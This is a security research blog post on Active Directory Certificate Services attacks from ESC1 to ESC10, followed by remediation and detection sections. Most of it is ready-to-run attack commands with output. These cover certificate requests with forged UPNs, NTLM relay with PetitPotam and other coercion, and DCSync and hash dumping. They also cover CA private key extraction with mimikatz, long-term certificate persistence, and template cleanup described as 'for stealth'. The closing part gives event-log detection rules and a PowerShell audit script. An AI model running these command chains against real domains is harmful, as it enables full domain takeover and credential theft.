AD Certificate Services Deep Dive: ESC1 to ESC8 Attack Paths | Tağmaç - root@Tagoletta:~#
Contents

AD Certificate Services Deep Dive: ESC1 to ESC8 Attack Paths

Mon Jun 29 2026 · 15 min read

Category: Security Research

# Active-Directory# ADCS# Exploit# Attack-Chain# Windows

Introduction: The Dark Side of PKI

Active Directory Certificate Services (ADCS) is Microsoft's enterprise Public Key Infrastructure solution. It handles internal certificate management, smart card authentication, VPN certificates, email encryption, and code signing. The vast majority of enterprise Active Directory environments have at least one ADCS server running — and these servers have operated under the radar of security assessments for decades.

In 2021, Will Schroeder and Lee Christensen from SpecterOps published a monumental technical research paper titled "Certified Pre-Owned". This paper documented 8 distinct attack categories (ESC1–ESC8) showing how ADCS can be weaponized for domain compromise. Their finding was striking: a single ADCS misconfiguration can surrender a domain with a single certipy command.

In this post we'll examine every attack vector from ESC1 through ESC8 (with brief coverage of ESC9/ESC10), including the technical prerequisites for each, LDAP attribute names, OID values, and step-by-step exploitation walkthroughs.

ADCS Architecture: Core Concepts

Root CA vs Enterprise CA

ADCS has two fundamental CA types:

  • Root CA: Sits at the top of the PKI hierarchy. Its certificate is self-signed. Best practice dictates it remains offline/air-gapped and never directly issues certificates.
  • Subordinate / Enterprise CA: Has a certificate signed by the Root CA. Integrates with Active Directory and issues certificates to domain members. Typically named something like CORP-CA.

The Enterprise CA is registered in Active Directory at:

CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local

What Is a Certificate Template?

A certificate template is a policy object defining how a CA produces certificates. In LDAP, templates live at:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local

Each template carries these critical attributes:

Attribute Purpose
msPKI-Certificate-Name-Flag SAN control — ESC1 lives here
msPKI-Enrollment-Flag Manager approval requirement
pKIExtendedKeyUsage EKU OID list
msPKI-RA-Signature Enrollment agent signature requirement
nTSecurityDescriptor Template ACL — ESC4 lives here
msPKI-Certificate-Application-Policy Application policies

EKU OIDs and Their Meaning

Extended Key Usage specifies what a certificate may be used for:

OID Name ADCS Relevance
1.3.6.1.5.5.7.3.2 Client Authentication Required for ESC1/ESC2
1.3.6.1.5.2.3.4 PKINIT Client Auth Kerberos PKINIT authentication
1.3.6.1.4.1.311.20.2.2 Smart Card Logon Windows smart card login
2.5.29.37.0 Any Purpose ESC2 — all purposes allowed
1.3.6.1.4.1.311.20.2.1 Enrollment Agent ESC3 — enroll on behalf of others
1.3.6.1.5.5.7.3.3 Code Signing Code signing

The Enrollment Process

  1. Client generates a Certificate Signing Request (CSR)
  2. CSR is submitted to the CA (via RPC, DCOM, or HTTP certsrv)
  3. CA validates against template policy
  4. If no approval required (CT_FLAG_PEND_ALL_REQUESTS absent), certificate is issued immediately
  5. Certificate is added to the client's certificate store

Discovery: Mapping the Environment

certipy — Finding Vulnerable Templates

# Basic vulnerable template scan
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout

# JSON output for BloodHound (legacy format)
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -old-bloodhound

# All template details (including non-vulnerable)
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -stdout

# Pass-the-Hash
certipy find -u jdoe@corp.local -hashes ':NT_HASH_HERE' -dc-ip 10.10.10.10 -vulnerable -stdout

# Kerberos ticket
certipy find -u jdoe@corp.local -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout

From Windows: Certify.exe

# Find all vulnerable templates
Certify.exe find /vulnerable /currentuser

# List all templates with permissions
Certify.exe find /showAllPermissions

# Query a specific CA
Certify.exe find /ca:CORP-CA /vulnerable

# With PKIAudit module
Import-Module PKIAudit
Get-PKIAuditSettings -CA 'corp.local\CORP-CA'
Invoke-PKIAudit

Manual LDAP Discovery

# Find templates with ESC1 potential via ldapsearch
ldapsearch -H ldap://10.10.10.10 \
  -D "jdoe@corp.local" -w 'Password123' \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)" \
  msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag pKIExtendedKeyUsage

BloodHound ADCS Edges

BloodHound 4.2+ includes ADCS-specific edges:

  • Enroll — Enrollment rights on a template
  • GenericWrite — Can modify the template (ESC4)
  • WriteDACL — Can modify template DACL (ESC4)
  • ManageCertificates — Certificate management on the CA (ESC7)
  • ManageCA — Can change CA configuration (ESC7)

ESC1 — ENROLLEE_SUPPLIES_SUBJECT: The Most Common ADCS Vulnerability

ESC1 is the most frequently encountered and most impactful ADCS vulnerability. The attacker can specify the Subject Alternative Name (SAN) field during enrollment, enabling impersonation of any domain user — including Domain Admin.

The Four Required Conditions

Condition 1 — CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT:

The following flag must be set on the template:

msPKI-Certificate-Name-Flag: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x00000001)

This flag tells the CA "the person enrolling can specify the SAN themselves."

Condition 2 — Client Authentication EKU:

The template must include at least one of:

pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2   (Client Authentication)
pKIExtendedKeyUsage: 1.3.6.1.5.2.3.4      (PKINIT Client Auth)
pKIExtendedKeyUsage: 1.3.6.1.4.1.311.20.2.2  (Smart Card Logon)
pKIExtendedKeyUsage: 2.5.29.37.0           (Any Purpose)

Without one of these, the obtained certificate cannot be used to authenticate via Kerberos PKINIT.

Condition 3 — No Manager Approval:

msPKI-Enrollment-Flag: 0x00000000  (CT_FLAG_PEND_ALL_REQUESTS must be ABSENT)

If CT_FLAG_PEND_ALL_REQUESTS (0x00000002) is set, all enrollment requests await CA manager review — ESC1 is blocked.

Condition 4 — Low-Privilege Users Can Enroll:

The template DACL must contain an ACE such as:

Allow: CORP\Domain Users — Certificate-Enrollment (Extended Right: 0F58D46F-5A46-11D1-86F6-00C04FB9988E)

or

Allow: NT AUTHORITY\Authenticated Users — Certificate-Enrollment

certipy ESC1 Attack — Step by Step

# Step 1: Find the vulnerable template
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
# Output: "[!] ESC1 — 'VulnerableTemplate'"

# Step 2: Request certificate with Administrator UPN
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template VulnerableTemplate \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.10

# Output:
# [*] Requesting certificate via RPC
# [*] Successfully requested certificate
# [*] Request ID is 42
# [*] Got certificate with UPN 'administrator@corp.local'
# [*] Saved certificate and private key to 'administrator.pfx'

# Step 3: Authenticate with certificate via Kerberos PKINIT
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

# Output:
# [*] Using principal: administrator@corp.local
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Got NT hash for 'administrator@corp.local': 31d6cfe0d16ae931b73c59d7e0c089c0

# Step 4: Use NT hash with secretsdump
python3 secretsdump.py \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
  administrator@10.10.10.10

# Or Pass-the-Hash shell
python3 wmiexec.py \
  -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
  administrator@10.10.10.10

From Windows: Certify + Rubeus

# Step 1: Request the certificate
Certify.exe request /ca:CORP-CA /template:VulnerableTemplate /altname:administrator

# Convert the output PEM to PFX (on Linux):
# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx

# Step 2: Get TGT with Rubeus
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /password:"" /nowrap

# Step 3: Import the TGT
Rubeus.exe ptt /ticket:BASE64_TICKET_HERE

# Step 4: DCSync
mimikatz.exe "lsadump::dcsync /domain:corp.local /all" "exit"

Why Is ESC1 So Dangerous?

  1. No elevated privileges required: Any Domain Users member can execute the attack.
  2. Domain Admin in three commands: Enrollment → TGT → NT hash, done.
  3. Minimal logging: Certificate enrollment looks legitimate; only the UPN value is anomalous.
  4. Persistent access: The certificate is valid for its full lifetime (typically 1-2 years).

ESC2 — Any Purpose EKU: The Unrestricted Certificate

ESC2 applies when a template's EKU contains szOID_ANY_APPLICATION_POLICY (2.5.29.37.0) or when the EKU field is completely empty.

Technical Detail

pKIExtendedKeyUsage: 2.5.29.37.0  (Any Purpose)
# OR: EKU field is empty (all uses permitted by default)

The Any Purpose EKU means the certificate is valid for any use — Kerberos authentication, enrollment agent use, code signing, etc. This satisfies the Client Authentication requirement from ESC1.

ESC2 Attack Vector

# Obtain cert from ESC2 template (no SAN needed if only using as enrollment agent)
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template AnyPurposeTemplate \
  -dc-ip 10.10.10.10

# Use this certificate in ESC3 attack as an enrollment agent
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -on-behalf-of 'corp\administrator' \
  -pfx anypurpose.pfx \
  -dc-ip 10.10.10.10

ESC2 alone is limited if there's no SAN control; it becomes very dangerous as an ESC3 pivot point.

ESC3 — Certificate Request Agent: Enrolling on Behalf of Others

ESC3 is a chain attack using two different certificate templates. The first template has the Enrollment Agent EKU, and the second permits the agent certificate to be used to enroll on behalf of other users.

Prerequisites

Template 1 — Enrollment Agent Template:

  • EKU: szOID_ENROLLMENT_AGENT (1.3.6.1.4.1.311.20.2.1)
  • Enrollment: Domain Users
  • Approval: Not required

Template 2 — On-Behalf-Of Permission:

  • msPKI-RA-Signature: 0 (no enrollment agent signature required)
  • OR the enrollment agent has enrollment rights on the second template

certipy ESC3 Attack

# Step 1: Obtain Enrollment Agent certificate
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template ESC3-CertRequestAgent \
  -dc-ip 10.10.10.10
# Output: jdoe.pfx (enrollment agent certificate)

# Step 2: Use agent cert to enroll for administrator
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -on-behalf-of 'corp\administrator' \
  -pfx jdoe.pfx \
  -dc-ip 10.10.10.10
# Output: administrator.pfx

# Step 3: Authenticate
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

ESC4 — Template Access Control Abuse: DACL Manipulation

ESC4 is the attack where a user with write permissions on a template (GenericWrite, WriteDACL, WriteOwner, or GenericAll) can transform that template into an ESC1-vulnerable one.

Prerequisites

On the target template:
- GenericWrite ACE, or
- WriteDACL ACE, or
- WriteOwner ACE, or
- GenericAll ACE

certipy ESC4 Attack

# Step 1: Save current template configuration (for cleanup)
certipy template \
  -u jdoe@corp.local \
  -p 'Password123' \
  -template VulnerableTemplate \
  -save-old \
  -dc-ip 10.10.10.10
# Output: VulnerableTemplate.json (backup)

# Step 2: Convert template to ESC1-vulnerable
# certipy automatically:
# - Adds CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT to msPKI-Certificate-Name-Flag
# - Removes CT_FLAG_PEND_ALL_REQUESTS
# - Grants Domain Users enrollment rights
certipy template \
  -u jdoe@corp.local \
  -p 'Password123' \
  -template VulnerableTemplate \
  -dc-ip 10.10.10.10

# Step 3: Execute ESC1 attack
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template VulnerableTemplate \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.10

# Step 4: Authenticate
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10

# Step 5: CLEANUP — restore template (important for stealth)
certipy template \
  -u jdoe@corp.local \
  -p 'Password123' \
  -template VulnerableTemplate \
  -configuration VulnerableTemplate.json \
  -dc-ip 10.10.10.10

ESC5 — PKI Object DACL: Infrastructure Control

ESC5 covers DACL vulnerabilities on the CA object itself or PKI containers. This is a broad category including:

  1. WriteDACL on CA Object: Write permission on CN=CORP-CA,CN=Enrollment Services,...
  2. DACL on PKI Containers: Permissions on CN=Public Key Services,...
  3. Administrative rights on the CA machine itself

ESC5 provides control of the PKI infrastructure in the domain.

BloodHound Query for ESC5

MATCH (u:User)-[:WriteDACL|GenericWrite|GenericAll]->(c:Domain)
WHERE c.name CONTAINS "CA"
RETURN u, c

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2: CA-Level Flag

ESC6 stems from the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set on the CA itself. This flag allows SAN specification in any template — even those without CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT.

Checking the Flag

# Check via certutil (from Windows)
certutil -config "corp.local\CORP-CA" -getreg "policy\EditFlags"

# If 0x00040000 (EDITF_ATTRIBUTESUBJECTALTNAME2) appears in output — ESC6!
# Example output:
# EditFlags REG_DWORD = 0x15014e (1380686)
# Bits: EDITF_ATTRIBUTESUBJECTALTNAME2 (0x00040000) SET

# certipy also detects this
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
# [!] ESC6 — CA 'CORP-CA': EDITF_ATTRIBUTESUBJECTALTNAME2 set

ESC6 Attack

# With EDITF_ATTRIBUTESUBJECTALTNAME2 active, specify UPN even on standard User template
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template User \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.10

# Then authenticate
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

Important Note

Microsoft's KB5014754 update (May 2022) introduced certificate mapping changes that disable EDITF_ATTRIBUTESUBJECTALTNAME2 effects on newer systems. However, legacy systems may still have this flag active.

ESC7 — CA Access Control: ManageCA and ManageCertificates

ESC7 covers scenarios where a user holds ManageCA or ManageCertificates rights on the CA.

ManageCA (CA Administrator)

ManageCA grants:

  • Modifying CA configuration
  • Activating EDITF_ATTRIBUTESUBJECTALTNAME2 → ESC6
  • Creating new administrative accounts
  • Renewing CA certificates

ManageCertificates (Certificate Manager)

ManageCertificates grants:

  • Approving pending enrollment requests → ESC7 sub-vector
  • Revoking certificates

ESC7 Attack — via SubCA Template

# Step 1: Enable the SubCA template with ManageCA rights
certipy ca \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -enable-template SubCA \
  -dc-ip 10.10.10.10

# Step 2: Request cert with SubCA template and administrator UPN
# (Request will be PENDING or DENIED due to SubCA requiring approval)
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -template SubCA \
  -upn administrator@corp.local \
  -dc-ip 10.10.10.10
# Output: Request ID: 87 (DENIED state)

# Step 3: Approve the denied request with ManageCA rights
certipy ca \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -issue-request 87 \
  -dc-ip 10.10.10.10

# Step 4: Retrieve the approved certificate
certipy req \
  -u jdoe@corp.local \
  -p 'Password123' \
  -ca CORP-CA \
  -retrieve 87 \
  -dc-ip 10.10.10.10
# Output: administrator.pfx

# Step 5: Authenticate
certipy auth \
  -pfx administrator.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

ESC8 — NTLM Relay to HTTP Enrollment: The Chain Attack

ESC8 is ADCS's most spectacular attack vector. By combining NTLM relay with a coercion technique like PetitPotam, an attacker obtains a certificate issued to the Domain Controller's machine account. This certificate is used to extract the DC's NT hash, then DCSync compromises the entire domain.

Prerequisites

  1. certsrv HTTP endpoint active: http://ca01/certsrv/ must be reachable
  2. NTLM authentication enabled: IIS accepts NTLM
  3. EPA (Extended Protection for Authentication) DISABLED: Disabled by default in most deployments
  4. HTTPS not enforced: HTTP relay must be possible

Detection

# Check for certsrv endpoint
curl -I http://ca01/certsrv/
# HTTP/1.1 401 Unauthorized with WWW-Authenticate: NTLM → ESC8 possible

# certipy detection
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -stdout
# [!] ESC8 — 'CORP-CA': HTTP enrollment enabled without EPA

Full Attack Chain — 3 Terminals

Terminal 1: NTLM Relay Listener

impacket-ntlmrelayx \
  -t http://ca01/certsrv/ \
  --adcs \
  --template DomainController \
  -smb2support \
  --no-http-server

Terminal 2: DC Coercion (PetitPotam)

# Coerce DC to authenticate to attacker's relay listener
python3 PetitPotam.py \
  -u jdoe \
  -p 'Password123' \
  -d corp.local \
  192.168.1.50 \
  10.10.10.10

# Alternative coercion techniques:
# PrinterBug (MS-RPRN)
python3 printerbug.py corp.local/jdoe:'Password123'@10.10.10.10 192.168.1.50

# DFSCoerce
python3 dfscoerce.py -u jdoe -p 'Password123' -d corp.local 192.168.1.50 10.10.10.10

# Coercer (tries all coercion vectors automatically)
Coercer coerce -l 192.168.1.50 -t 10.10.10.10 -u jdoe -p 'Password123' -d corp.local

Terminal 3: Authentication and DCSync

# After ntlmrelayx succeeds, dc01.pfx is obtained
certipy auth \
  -pfx dc01.pfx \
  -dc-ip 10.10.10.10 \
  -domain corp.local

# Output:
# [*] Got TGT
# [*] NT hash for 'DC01$': 8f3b4c2d1a9e5f7b2c4d6e8a1b3c5d7e

# Dump all domain hashes with secretsdump
python3 secretsdump.py \
  -hashes ':8f3b4c2d1a9e5f7b2c4d6e8a1b3c5d7e' \
  'corp.local/DC01$@10.10.10.10'

# Output:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e4e2c6abb16a5b7ab1b58c2a5e5a9d1c:::

Why ESC8 Is So Dangerous

  • Any network host can attack: Even a non-domain-joined host if anonymous coercion is possible.
  • No template configuration changes: Uses existing infrastructure entirely.
  • Domain Controller impersonation: Machine account cert grants maximum privileges.
  • Limited log footprint: HTTP enrollment appears as normal CA traffic.

ESC9 and ESC10 — Weak Certificate Mapping

ESC9 — No Security Extension

Condition: CT_FLAG_NO_SECURITY_EXTENSION (0x80000) set in msPKI-Enrollment-Flag

This flag prevents the szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) extension from being included in issued certificates. This extension binds a certificate to an Active Directory SID. Without it, weaker UPN-based mapping is used.

ESC10 — Weak Certificate Mapping via GenericWrite

# Prerequisite: GenericWrite on target user
# Step 1: Change target user's UPN
python3 bloodyAD.py \
  -u jdoe -p 'Password123' -d corp.local --host 10.10.10.10 \
  set object victim userPrincipalName -v administrator@corp.local

# Step 2: Request certificate (UPN is now administrator)
certipy req \
  -u jdoe@corp.local -p 'Password123' \
  -ca CORP-CA -template User -dc-ip 10.10.10.10

# Step 3: Restore original UPN
python3 bloodyAD.py \
  -u jdoe -p 'Password123' -d corp.local --host 10.10.10.10 \
  set object victim userPrincipalName -v victim@corp.local

# Step 4: Authenticate as administrator
certipy auth -pfx jdoe.pfx -dc-ip 10.10.10.10 -domain corp.local

ADCS Domain Persistence

Certificate-Based Persistence

Even if a Domain Admin account's password is rotated, a valid certificate enables continued Kerberos PKINIT authentication:

# Obtain a certificate with long validity (e.g., User template valid 2 years)
certipy req -u administrator@corp.local -p 'Password' -ca CORP-CA -template User -dc-ip 10.10.10.10

# Even after password change, this cert remains valid for 2 years
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

Golden Certificate — CA Private Key Exfiltration

If the CA's private key is extracted, any certificate can be forged:

# Extract CA private key with mimikatz (on the CA server)
mimikatz.exe "crypto::capi" "crypto::certificates /systemstore:local_machine /store:my /export" "exit"

# or
mimikatz.exe "lsadump::backupkeys /system:dc01.corp.local /export" "exit"

With this private key, certificates can be forged for any user indefinitely. Revoking this persistence requires regenerating the CA's private key (re-keying the CA).

Defenses and Detection

Preventive Controls

1. Regular ADCS Scanning

# Weekly automated scan (cron/task scheduler)
certipy find -u svc-scan@corp.local -p 'PASSWORD' -dc-ip 10.10.10.10 -vulnerable -output adcs-weekly-report

2. ESC1 Remediation

Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from the template:

# PKI MMC -> Certificate Templates -> Template Properties -> Subject Name
# Remove "Supply in the request" option
# Select "Build from this Active Directory information" instead

# Or via LDAP
Set-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,..." `
  -Replace @{"msPKI-Certificate-Name-Flag"="0"}

3. Enable EPA on HTTP Enrollment (ESC8)

# Activate EPA for certsrv on IIS
Import-Module WebAdministration
Set-WebConfigurationProperty `
  -Filter "system.webServer/security/authentication/windowsAuthentication" `
  -PSPath "IIS:\Sites\Default Web Site\CertSrv" `
  -Name "extendedProtection.tokenChecking" `
  -Value "Required"

4. Disable EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)

certutil -setreg "CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

5. Strong Certificate Binding Enforcement (ESC9/ESC10)

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" `
  -Name "StrongCertificateBindingEnforcement" -Value 2 -Type DWord

6. Manager Approval on Sensitive Templates

# Enable in PKI MMC -> Certificate Templates -> Properties -> Issuance Requirements
# Check "CA certificate manager approval"

Detection: SIEM and Event Log Rules

Event ID Log Source Description
4886 Security Certificate requested (every enrollment)
4887 Security Certificate issued (successful enrollment)
4888 Security Certificate request denied
4889 Security Certificate put in pending state
4890 Security Settings changed for CA
4896 Security Rows deleted from certificate database

Critical Detection Rule — Anomalous UPN Request:

EventID = 4887
AND RequesterName != CertificateSubject
AND (
  CertificateSubject CONTAINS "administrator" OR
  CertificateSubject CONTAINS "krbtgt" OR
  CertificateSubject CONTAINS "DC01$"
)

Critical Detection Rule — Machine Account HTTP Enrollment:

EventID = 4887
AND RequesterName ENDSWITH "$"
AND RequestSource = "HTTP"
AND TemplateName = "DomainController"

Audit PowerShell Script

Import-Module ActiveDirectory

$templates = Get-ADObject -SearchBase `
  "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" `
  -Filter {objectClass -eq "pKICertificateTemplate"} `
  -Properties msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, pKIExtendedKeyUsage

foreach ($t in $templates) {
  $nameFlag = $t."msPKI-Certificate-Name-Flag"
  $enrollFlag = $t."msPKI-Enrollment-Flag"

  if ($nameFlag -band 0x1) {
    Write-Warning "[ESC1 Candidate] Template: $($t.Name) — ENROLLEE_SUPPLIES_SUBJECT set"
  }
  if ($enrollFlag -band 0x80000) {
    Write-Warning "[ESC9 Candidate] Template: $($t.Name) — NO_SECURITY_EXTENSION set"
  }
}

References and Further Reading

Frequently Asked Questions

What is ADCS ESC1?

ESC1 is a certificate template misconfiguration where a low-privileged user can both enroll and supply an arbitrary Subject Alternative Name (SAN) because the template has the ENROLLEE_SUPPLIES_SUBJECT flag together with a client-authentication EKU. The attacker requests a certificate that names a Domain Admin as its subject and then authenticates as that admin.

How do you exploit ADCS with Certipy?

Run certipy find -vulnerable to enumerate vulnerable templates, then certipy req -ca <CA> -template <tmpl> -upn administrator@domain.local to request a certificate with a forged UPN/SAN. Finally, certipy auth -pfx administrator.pfx uses the certificate to obtain a Kerberos TGT and the account's NT hash.

What is the difference between ESC1 and ESC8?

ESC1 abuses a certificate template that lets you specify the subject. ESC8 is an NTLM relay attack against the CA's web enrollment (certsrv) HTTP endpoint — typically chained with a coercion technique like PetitPotam to force a Domain Controller to authenticate, then relaying that to enroll a certificate for the DC machine account.

How do you defend against ADCS certificate attacks?

Remove the ENROLLEE_SUPPLIES_SUBJECT flag where it is not required, require CA manager approval for sensitive templates, tighten enrollment permissions, enable Extended Protection for Authentication (EPA) and disable NTLM/HTTP on the CA web enrollment endpoints, and regularly audit templates with tools like Certipy or PSPKIAudit.